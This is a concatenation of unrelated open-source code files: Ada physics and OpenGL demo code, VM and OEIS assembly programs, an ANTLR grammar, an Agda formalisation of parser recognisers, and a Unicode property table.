-- The class will not inspect the heightfield to discover the actual minimum
-- or maximum heights. These values are used to determine the heightfield's
-- axis-aligned bounding box, multiplied by localScaling.
--
-- For usage and testing see the TerrainDemo.
--
is
type Item is new impact.d3.Shape.concave.Item with private;
----------
--- Forge
--
function to_height_field_terrain_Shape (heightStickWidth,
heightStickLength : in Integer ;
heightfieldData : access math.Vector;
heightScale : in math.Real;
minHeight, maxHeight : in math.Real;
upAxis : in Integer ;
flipQuadEdges : in Boolean ) return Item;
--
-- This constructor supports a range of heightfield data types, and allows for a non-zero minimum height value.
--
-- 'heightScale' is needed for any integer-based heightfield data types.
overriding procedure destruct (Self : in out Item);
---------------
--- Attributes
--
overriding procedure getAabb (Self : in Item; t : in Transform_3d;
aabbMin, aabbMax : out math.Vector_3 );
overriding procedure setLocalScaling (Self : in out Item; scaling : in math.Vector_3);
overriding function getLocalScaling (Self : in Item) return math.Vector_3;
overriding procedure calculateLocalInertia (Self : in Item; mass : in math.Real;
inertia : out math.Vector_3);
overriding function getName (Self : in Item) return String;
-- virtual const char* getName()const {return "HEIGHTFIELD";}
overriding procedure processAllTriangles (Self : in Item; callback : access impact.d3.triangle_Callback.Item'Class;
aabbMin, aabbMax : in math.Vector_3);
procedure setUseDiamondSubdivision (Self : out Item; useDiamondSubdivision : in Boolean := True);
-- void setUseDiamondSubdivision(bool useDiamondSubdivision=true) { m_useDiamondSubdivision = useDiamondSubdivision;}
private
type Item is new impact.d3.Shape.concave.Item with
record
m_localAabbMin : math.Vector_3;
m_localAabbMax : math.Vector_3;
m_localOrigin : math.Vector_3;
-- terrain data
m_heightStickWidth : Integer;
m_heightStickLength : Integer;
m_minHeight : math.Real;
m_maxHeight : math.Real;
m_width : math.Real;
m_length : math.Real;
m_heightScale : math.Real;
m_heightfieldDataFloat : access math.Vector;
-- m_heightDataType : PHY_ScalarType;
m_flipQuadEdges : Boolean;
m_useDiamondSubdivision : Boolean;
m_upAxis : Integer;
m_localScaling : math.Vector_3;
end record;
function getRawHeightFieldValue (Self : in Item; x, y : in Integer) return math.Real;
procedure quantizeWithClamp (Self : in Item; the_Out : out Math.Integers ;
point : in math.Vector_3;
isMax : in Boolean );
procedure getVertex (Self : in Item; x, y : in Integer;
vertex : out math.Vector_3);
procedure initialize (Self : in out Item; heightStickWidth, heightStickLength : in Integer;
heightfieldData : access math.Vector;
heightScale : in math.Real;
minHeight, maxHeight : in math.Real;
upAxis : in Integer;
flipQuadEdges : in Boolean);
--
-- Handles the work of constructors so that public constructors can be
-- backwards-compatible without a lot of copy/paste.
end impact.d3.Shape.concave.height_field_terrain;
|
VM/altairx/bin/test.asm | Kannagi/AltairX | 17 | 241172 | <reponame>Kannagi/AltairX<gh_stars>10-100
;syscall
;0x00
;kernel console ,read/write file
;0x01
;GIF
;0x02
;SIF
;0x03
;input (clavier/souris/joypad)
;0x04
;Net
;0x05
;GUI
include "macro.asm"
include "vector.asm"
movei r60,1
fmovei v0,1.5
fmovei v1,1.0
addi r63,r63,5
fadd.p v0,v0,v1
nop
syscall 0x00
nop
lab2:
smove.w r5,$8000
smove.b r5,$0400
movei r8,1
ldi r6,0[r5]
movei r7,'0'
;addi r6,r6,1
add r6,r7,r8
sti r6,0[r5]
movei r4,$01
syscall 0x00
nop
call lfunc
nop
movei r10,$1
cmpi r10,0
beq test
nop
movei r4,$00
syscall 0x00
nop
test:
endp
nop
lfunc:
nop
ret
nop
org $400
dc.b "Hello World",$A,0
|
programs/oeis/094/A094924.asm | neoneye/loda | 22 | 16532 | <reponame>neoneye/loda
; A094924: a(n) = (9^n-1)/8 mod n.
; 0,0,1,0,1,4,1,0,1,0,1,4,1,10,1,0,1,10,1,0,7,10,1,16,6,10,10,8,1,10,1,0,25,10,31,28,1,10,13,0,1,28,1,28,1,10,1,16,22,0,40,40,1,10,11,24,34,10,1,40,1,10,28,0,36,34,1,4,22,50,1,64,1,10,31,60,10,52,1,0,10,10,1,28,71,10,4,80,1,10,1,84,91,10,66,64,1,94,28,0
add $0,1
mov $2,$0
lpb $0
sub $0,1
add $1,1
mod $1,$2
mul $1,9
lpe
div $1,9
mov $0,$1
|
4-high/gel/applet/demo/models/opengl_model/launch_opengl_model.adb | charlie5/lace-alire | 1 | 21556 | <reponame>charlie5/lace-alire
with
gel.Applet.gui_World,
gel.Window.setup,
gel.Camera,
gel.Forge,
gel.Sprite,
physics.Model,
openGL.Model.any,
openGL.Light,
ada.Calendar,
ada.Text_IO,
ada.Exceptions;
pragma Unreferenced (gel.Window.setup);
procedure launch_opengl_Model
--
-- Shows a human head model imported from a wavefront '.obj' file
-- and a human body model imported from a collada '.dae' file.
--
--
is
use ada.Calendar,
ada.Text_IO,
ada.Exceptions;
the_Applet : constant gel.Applet.gui_World.view := gel.Forge.new_gui_Applet ("openGL Model", 500, 500);
the_human_graphics_Model : constant openGL.Model.any.view
:= openGL.Model.any.new_Model (Model => openGL.to_Asset ("./assets/opengl/model/human.obj"),
Texture => openGL.null_Asset,
Texture_is_lucid => False);
the_human_physics_Model : constant physics.Model.view
:= physics.Model.Forge.new_physics_Model (shape_Info => (Kind => physics.Model.Cube,
half_Extents => (4.0, 1.0, 2.0)),
Mass => 1.0);
the_Human : constant gel.Sprite.view
:= gel.Sprite.forge.new_Sprite (Name => "Clarence",
World => the_Applet.gui_World.all'Access,
at_Site => gel.Math.Origin_3D,
graphics_Model => the_human_graphics_Model,
physics_Model => the_human_physics_Model);
the_cobra_graphics_Model : aliased constant openGL.Model.any.view
:= openGL.Model.any.new_Model (Model => openGL.to_Asset ("./assets/oolite_cobra3.obj"),
Texture => openGL.to_Asset ("./assets/oolite_cobra3_diffuse.png"),
Texture_is_lucid => False);
the_cobra_physics_Model : constant physics.Model.view
:= physics.Model.Forge.new_physics_Model (shape_Info => (Kind => physics.Model.Cube,
half_Extents => (4.0, 1.0, 2.0)),
Mass => 0.0);
the_Cobra : constant gel.Sprite.view
:= gel.Sprite.forge.new_Sprite (Name => "Cobra",
World => the_Applet.gui_World.all'Access,
at_Site => gel.Math.Origin_3D,
graphics_Model => the_cobra_graphics_Model,
physics_Model => the_cobra_physics_Model);
the_Ground : constant gel.Sprite.view := gel.Forge.new_box_Sprite (the_Applet.gui_World,
Mass => 0.0,
Size => (50.0, 1.0, 50.0));
next_render_Time : ada.calendar.Time;
begin
the_Applet.gui_World.Gravity_is ((0.0, -9.8, 0.0));
the_Applet.gui_World.add (the_Ground); -- Add ground.
the_Applet.gui_World.add (the_Human); -- Add human.
the_Human.Site_is ((0.0, 5.0, 0.0)); --
-- the_Applet.gui_World.add (the_Cobra); -- Add cobra.
-- the_Cobra.Site_is ((0.0, 5.0, 0.0)); --
the_Applet.gui_Camera.Site_is ((0.0, 1.5, 2.6)); -- Position the camera.
-- the_Applet.gui_Camera.Site_is ((0.0, 100.0, 0.0)); -- Position the camera.
the_Applet.enable_simple_Dolly (in_World => 1); -- Enable user camera control via keyboards.
the_Applet.Dolly.Speed_is (0.1); -- Slow down the rate at which the dolly moves.
-- the_Applet.Dolly.Speed_is (0.5); -- Slow down the rate at which the dolly moves.
-- Set the lights position.
--
declare
Light : openGL.Light.item := the_Applet.Renderer.new_Light;
begin
Light.Site_is ((0.0, 1000.0, 1000.0));
the_Applet.Renderer.set (Light);
end;
next_render_Time := ada.Calendar.clock;
while the_Applet.is_open
loop
the_Applet.freshen; -- Evolve the world, handle any new events and update the display.
next_render_Time := next_render_Time + 1.0/60.0;
delay until next_render_Time;
end loop;
the_Applet.destroy;
exception
when E : others =>
put_Line (Exception_Information (E));
end launch_opengl_Model;
|
src/tests/layermodeltests.ads | sebsgit/textproc | 0 | 2114 | <reponame>sebsgit/textproc
with AUnit; use AUnit;
with AUnit.Test_Cases; use AUnit.Test_Cases;
package LayerModelTests is
type TestCase is new AUnit.Test_Cases.Test_Case with null record;
procedure Register_Tests(T: in out TestCase);
function Name(T: TestCase) return Message_String;
procedure testDense(T : in out Test_Cases.Test_Case'Class);
procedure testDenseDeep(T : in out Test_Cases.Test_Case'Class);
end LayerModelTests;
|
diagon/src/translator/antlr/sequence.g4 | wendajiang/diagon-rs | 2 | 1056 | grammar sequence;
// Lexer -----
NormalRightArrow: '->';
NormalLeftArrow: '<-';
Comma: ':';
Less: '<';
More: '>';
Colon: ',';
EOL: '\r\n' | '\n';
fragment Digit: [0-9]+;
Number: Digit+;
Space: ' ' | '\t';
Other: .;
// Parser -----
program: (command? (EOL command?)*) EOF;
command: messageCommand | dependencyCommand;
messageCommand: dependencyID? text arrow text Comma text;
dependencyCommand: text Comma dependencies;
dependency: number (comparison number)+;
dependencyID: number ')';
dependencies: (dependency (Colon dependency)*)?;
text: Space* textInternal Space*;
textInternal: ~(Space | EOL) (~EOL* ~(Space | EOL))?;
number: Space* Number Space*;
comparison: Less | More;
arrow: NormalLeftArrow | NormalRightArrow;
// vim: filetype=antlr
|
TotalRecognisers/Simple.agda | nad/parser-combinators | 1 | 2747 | ------------------------------------------------------------------------
-- Simple recognisers
------------------------------------------------------------------------
open import Relation.Binary
open import Relation.Binary.PropositionalEquality hiding ([_])
-- The recognisers are parametrised on the alphabet.
module TotalRecognisers.Simple
(Tok : Set)
(_≟_ : Decidable (_≡_ {A = Tok}))
-- The tokens must come with decidable equality.
where
open import Algebra
open import Codata.Musical.Notation
open import Data.Bool hiding (_≟_)
import Data.Bool.Properties as Bool
private
module BoolCS = CommutativeSemiring Bool.∧-∨-commutativeSemiring
open import Function
open import Data.List
open import Data.Product
open import Relation.Nullary
------------------------------------------------------------------------
-- Recogniser combinators
infixl 10 _·_
infixl 5 _∣_
mutual
-- The index is true if the corresponding language contains the
-- empty string (is nullable).
data P : Bool → Set where
fail : P false
empty : P true
tok : Tok → P false
_∣_ : ∀ {n₁ n₂} → P n₁ → P n₂ → P (n₁ ∨ n₂)
_·_ : ∀ {n₁ n₂} → P n₁ → ∞⟨ not n₁ ⟩P n₂ → P (n₁ ∧ n₂)
-- Coinductive if the index is true.
∞⟨_⟩P : Bool → Bool → Set
∞⟨ true ⟩P n = ∞ (P n)
∞⟨ false ⟩P n = P n
------------------------------------------------------------------------
-- Conditional coinduction helpers
delayed? : ∀ {b n} → ∞⟨ b ⟩P n → Bool
delayed? {b = b} _ = b
♭? : ∀ {b n} → ∞⟨ b ⟩P n → P n
♭? {true} x = ♭ x
♭? {false} x = x
♯? : ∀ {b n} → P n → ∞⟨ b ⟩P n
♯? {true} x = ♯ x
♯? {false} x = x
-- A lemma.
♭?♯? : ∀ b {n} {p : P n} → ♭? {b} (♯? p) ≡ p
♭?♯? true = refl
♭?♯? false = refl
------------------------------------------------------------------------
-- Semantics
-- The semantics is defined inductively: s ∈ p iff the string s is
-- contained in the language defined by p.
infix 4 _∈_
data _∈_ : ∀ {n} → List Tok → P n → Set where
empty : [] ∈ empty
tok : ∀ {t} → [ t ] ∈ tok t
∣-left : ∀ {s n₁ n₂} {p₁ : P n₁} {p₂ : P n₂} →
s ∈ p₁ → s ∈ p₁ ∣ p₂
∣-right : ∀ {s n₁ n₂} {p₁ : P n₁} {p₂ : P n₂} →
s ∈ p₂ → s ∈ p₁ ∣ p₂
_·_ : ∀ {s₁ s₂ n₁ n₂} {p₁ : P n₁} {p₂ : ∞⟨ not n₁ ⟩P n₂} →
s₁ ∈ p₁ → s₂ ∈ ♭? p₂ → s₁ ++ s₂ ∈ p₁ · p₂
-- A lemma.
cast : ∀ {n} {p p′ : P n} {s} → p ≡ p′ → s ∈ p → s ∈ p′
cast refl s∈ = s∈
------------------------------------------------------------------------
-- Nullability
-- The nullability index is correct.
⇒ : ∀ {n} {p : P n} → [] ∈ p → n ≡ true
⇒ pr = ⇒′ pr refl
where
⇒′ : ∀ {n s} {p : P n} → s ∈ p → s ≡ [] → n ≡ true
⇒′ empty refl = refl
⇒′ tok ()
⇒′ (∣-left pr₁) refl with ⇒ pr₁
⇒′ (∣-left pr₁) refl | refl = refl
⇒′ (∣-right pr₂) refl with ⇒ pr₂
⇒′ (∣-right {n₁ = n₁} pr₂) refl | refl = proj₂ BoolCS.zero n₁
⇒′ (_·_ {[]} pr₁ pr₂) refl = cong₂ _∧_ (⇒ pr₁) (⇒ pr₂)
⇒′ (_·_ {_ ∷ _} pr₁ pr₂) ()
⇐ : ∀ {n} (p : P n) → n ≡ true → [] ∈ p
⇐ fail ()
⇐ empty refl = empty
⇐ (tok t) ()
⇐ (_∣_ {true} p₁ p₂) refl = ∣-left (⇐ p₁ refl)
⇐ (_∣_ {false} {true} p₁ p₂) refl = ∣-right {p₁ = p₁} (⇐ p₂ refl)
⇐ (_∣_ {false} {false} p₁ p₂) ()
⇐ (_·_ {true} p₁ p₂) refl = ⇐ p₁ refl · ⇐ p₂ refl
⇐ (_·_ {false} p₁ p₂) ()
-- We can decide if the empty string belongs to a given language.
nullable? : ∀ {n} (p : P n) → Dec ([] ∈ p)
nullable? {true} p = yes (⇐ p refl)
nullable? {false} p = no helper
where
helper : ¬ [] ∈ p
helper []∈p with ⇒ []∈p
... | ()
------------------------------------------------------------------------
-- Derivative
-- D-nullable and D are placed in a mutual block to ensure that the
-- underscores in the definition of D-nullable can be solved by
-- constraints introduced in the body of D. The functions are not
-- actually mutually recursive.
mutual
-- The index of the derivative. The right-hand sides (excluding
-- t′ ≟ t and delayed? p₂) are inferable, but included here so that
-- they can easily be inspected.
D-nullable : ∀ {n} → Tok → P n → Bool
D-nullable t fail = false
D-nullable t empty = false
D-nullable t (tok t′) with t′ ≟ t
D-nullable t (tok t′) | yes t′≡t = true
D-nullable t (tok t′) | no t′≢t = false
D-nullable t (p₁ ∣ p₂) = D-nullable t p₁ ∨ D-nullable t p₂
D-nullable t (p₁ · p₂) with delayed? p₂
D-nullable t (p₁ · p₂) | true = D-nullable t p₁ ∧ _
D-nullable t (p₁ · p₂) | false = D-nullable t p₁ ∧ _ ∨ D-nullable t p₂
-- D t p is the "derivative" of p with respect to t. It is specified
-- by the equivalence s ∈ D t p ⇔ t ∷ s ∈ p (proved below).
D : ∀ {n} (t : Tok) (p : P n) → P (D-nullable t p)
D t fail = fail
D t empty = fail
D t (tok t′) with t′ ≟ t
D t (tok t′) | yes t′≡t = empty
D t (tok t′) | no t′≢t = fail
D t (p₁ ∣ p₂) = D t p₁ ∣ D t p₂
D t (p₁ · p₂) with delayed? p₂
D t (p₁ · p₂) | true = D t p₁ · ♯? (♭ p₂)
D t (p₁ · p₂) | false = D t p₁ · ♯? p₂ ∣ D t p₂
-- D is correct.
D-sound : ∀ {s n} {t} {p : P n} → s ∈ D t p → t ∷ s ∈ p
D-sound s∈ = D-sound′ _ _ s∈
where
D-sound′ : ∀ {s n} t (p : P n) → s ∈ D t p → t ∷ s ∈ p
D-sound′ t fail ()
D-sound′ t empty ()
D-sound′ t (tok t′) _ with t′ ≟ t
D-sound′ t (tok .t) empty | yes refl = tok
D-sound′ t (tok t′) () | no t′≢t
D-sound′ t (p₁ ∣ p₂) (∣-left ∈₁) = ∣-left (D-sound′ t p₁ ∈₁)
D-sound′ t (p₁ ∣ p₂) (∣-right ∈₂) = ∣-right {p₁ = p₁} (D-sound′ t p₂ ∈₂)
D-sound′ t (_·_ {true} p₁ p₂) (∣-left (∈₁ · ∈₂)) = D-sound′ t p₁ ∈₁ · cast (♭?♯? (not (D-nullable t p₁))) ∈₂
D-sound′ t (_·_ {true} p₁ p₂) (∣-right ∈₂) = ⇐ p₁ refl · D-sound′ t p₂ ∈₂
D-sound′ t (_·_ {false} p₁ p₂) (∈₁ · ∈₂) = D-sound′ t p₁ ∈₁ · cast (♭?♯? (not (D-nullable t p₁))) ∈₂
D-complete : ∀ {s n} {t} {p : P n} → t ∷ s ∈ p → s ∈ D t p
D-complete {t = t} t∷s∈ = D-complete′ _ t∷s∈ refl
where
D-complete′ : ∀ {s s′ n} (p : P n) → s′ ∈ p → s′ ≡ t ∷ s → s ∈ D t p
D-complete′ fail () refl
D-complete′ empty () refl
D-complete′ (tok t′) _ refl with t′ ≟ t
D-complete′ (tok .t) tok refl | yes refl = empty
D-complete′ {[]} (tok .t) tok refl | no t′≢t with t′≢t refl
D-complete′ {[]} (tok .t) tok refl | no t′≢t | ()
D-complete′ (p₁ ∣ p₂) (∣-left ∈₁) refl = ∣-left (D-complete ∈₁)
D-complete′ (p₁ ∣ p₂) (∣-right ∈₂) refl = ∣-right {p₁ = D t p₁} (D-complete ∈₂)
D-complete′ (_·_ {true} p₁ p₂) (_·_ {[]} ∈₁ ∈₂) refl = ∣-right {p₁ = D t p₁ · _} (D-complete ∈₂)
D-complete′ (_·_ {true} p₁ p₂) (_·_ {._ ∷ _} ∈₁ ∈₂) refl = ∣-left (D-complete ∈₁ · cast (sym (♭?♯? (not (D-nullable t p₁)))) ∈₂)
D-complete′ (_·_ {false} p₁ p₂) (_·_ {[]} ∈₁ ∈₂) refl with ⇒ ∈₁
D-complete′ (_·_ {false} p₁ p₂) (_·_ {[]} ∈₁ ∈₂) refl | ()
D-complete′ (_·_ {false} p₁ p₂) (_·_ {._ ∷ _} ∈₁ ∈₂) refl = D-complete ∈₁ · cast (sym (♭?♯? (not (D-nullable t p₁)))) ∈₂
------------------------------------------------------------------------
-- _∈_ is decidable
-- _∈?_ runs a recogniser. Note that the result is yes or no plus a
-- /proof/ verifying that the answer is correct.
infix 4 _∈?_
_∈?_ : ∀ {n} (s : List Tok) (p : P n) → Dec (s ∈ p)
[] ∈? p = nullable? p
t ∷ s ∈? p with s ∈? D t p
t ∷ s ∈? p | yes s∈Dtp = yes (D-sound s∈Dtp)
t ∷ s ∈? p | no s∉Dtp = no (s∉Dtp ∘ D-complete)
|
programs/oeis/161/A161411.asm | jmorken/loda | 1 | 89701 | <reponame>jmorken/loda
; A161411: First differences of A160410.
; 4,12,12,36,12,36,36,108,12,36,36,108,36,108,108,324,12,36,36,108,36,108,108,324,36,108,108,324,108,324,324,972,12,36,36,108,36,108,108,324,36,108,108,324,108,324,324,972,36,108,108,324,108,324,324,972,108,324,324
mov $3,1
lpb $3
mov $1,$0
mov $2,$0
sub $3,1
mov $4,1
mul $4,$0
lpb $2
lpb $1
div $4,2
sub $1,$4
lpe
mov $0,$1
sub $2,1
lpe
mov $1,3
pow $1,$0
lpe
div $1,2
mul $1,8
add $1,4
|
make/ddk_build/cpprtl_test.sys.project/ntke_cpprtl.syslib/I386/eh_msvc_array_support_thunk.x86.asm | 133a/project_ntke_cpprtl | 12 | 177202 | <gh_stars>10-100
include eh/frame_based/_x86/eh_msvc_array_support_thunk.x86.asm
|
Lab Assessment Submission/Lab 2/task-4,-1712666642 .asm | samiurprapon/CSE331L-Section-10-Fall20-NSU | 0 | 5571 | org 100h
A DB 5 DUP(1, 2)
ret
|
source/league/ucd/matreshka-internals-unicode-ucd-core_0007.ads | svn2github/matreshka | 24 | 509 | <gh_stars>10-100
------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- Localization, Internationalization, Globalization for Ada --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2012-2015, <NAME> <<EMAIL>> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
pragma Restrictions (No_Elaboration_Code);
-- GNAT: enforce generation of preinitialized data section instead of
-- generation of elaboration code.
package Matreshka.Internals.Unicode.Ucd.Core_0007 is
pragma Preelaborate;
Group_0007 : aliased constant Core_Second_Stage
:= (16#00# .. 16#02# => -- 0700 .. 0702
(Other_Punctuation, Neutral,
Other, Other, S_Term, Alphabetic,
(STerm
| Terminal_Punctuation
| Grapheme_Base => True,
others => False)),
16#03# .. 16#0A# => -- 0703 .. 070A
(Other_Punctuation, Neutral,
Other, Other, Other, Alphabetic,
(Terminal_Punctuation
| Grapheme_Base => True,
others => False)),
16#0B# => -- 070B
(Other_Punctuation, Neutral,
Other, Other, Other, Alphabetic,
(Grapheme_Base => True,
others => False)),
16#0C# => -- 070C
(Other_Punctuation, Neutral,
Other, Other, Other, Alphabetic,
(Terminal_Punctuation
| Grapheme_Base => True,
others => False)),
16#0D# => -- 070D
(Other_Punctuation, Neutral,
Other, Other, Other, Alphabetic,
(Grapheme_Base => True,
others => False)),
16#0E# => -- 070E
(Unassigned, Neutral,
Other, Other, Other, Unknown,
(others => False)),
16#0F# => -- 070F
(Format, Neutral,
Control, Format, Format, Alphabetic,
(Case_Ignorable => True,
others => False)),
16#11# => -- 0711
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Other_Alphabetic
| Alphabetic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#30# .. 16#3F# => -- 0730 .. 073F
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Diacritic
| Other_Alphabetic
| Alphabetic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#40# .. 16#4A# => -- 0740 .. 074A
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Diacritic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#4B# .. 16#4C# => -- 074B .. 074C
(Unassigned, Neutral,
Other, Other, Other, Unknown,
(others => False)),
16#A6# .. 16#B0# => -- 07A6 .. 07B0
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Diacritic
| Other_Alphabetic
| Alphabetic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#B2# .. 16#BF# => -- 07B2 .. 07BF
(Unassigned, Neutral,
Other, Other, Other, Unknown,
(others => False)),
16#C0# .. 16#C9# => -- 07C0 .. 07C9
(Decimal_Number, Neutral,
Other, Numeric, Numeric, Numeric,
(Grapheme_Base
| ID_Continue
| XID_Continue => True,
others => False)),
16#EB# .. 16#F3# => -- 07EB .. 07F3
(Nonspacing_Mark, Neutral,
Extend, Extend, Extend, Combining_Mark,
(Diacritic
| Case_Ignorable
| Grapheme_Extend
| ID_Continue
| XID_Continue => True,
others => False)),
16#F4# .. 16#F5# => -- 07F4 .. 07F5
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Diacritic
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#F6# => -- 07F6
(Other_Symbol, Neutral,
Other, Other, Other, Alphabetic,
(Grapheme_Base => True,
others => False)),
16#F7# => -- 07F7
(Other_Punctuation, Neutral,
Other, Other, Other, Alphabetic,
(Grapheme_Base => True,
others => False)),
16#F8# => -- 07F8
(Other_Punctuation, Neutral,
Other, Mid_Num, S_Continue, Infix_Numeric,
(Terminal_Punctuation
| Grapheme_Base => True,
others => False)),
16#F9# => -- 07F9
(Other_Punctuation, Neutral,
Other, Other, S_Term, Exclamation,
(STerm
| Terminal_Punctuation
| Grapheme_Base => True,
others => False)),
16#FA# => -- 07FA
(Modifier_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Extender
| Alphabetic
| Case_Ignorable
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)),
16#FB# .. 16#FF# => -- 07FB .. 07FF
(Unassigned, Neutral,
Other, Other, Other, Unknown,
(others => False)),
others =>
(Other_Letter, Neutral,
Other, A_Letter, O_Letter, Alphabetic,
(Alphabetic
| Grapheme_Base
| ID_Continue
| ID_Start
| XID_Continue
| XID_Start => True,
others => False)));
end Matreshka.Internals.Unicode.Ucd.Core_0007;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.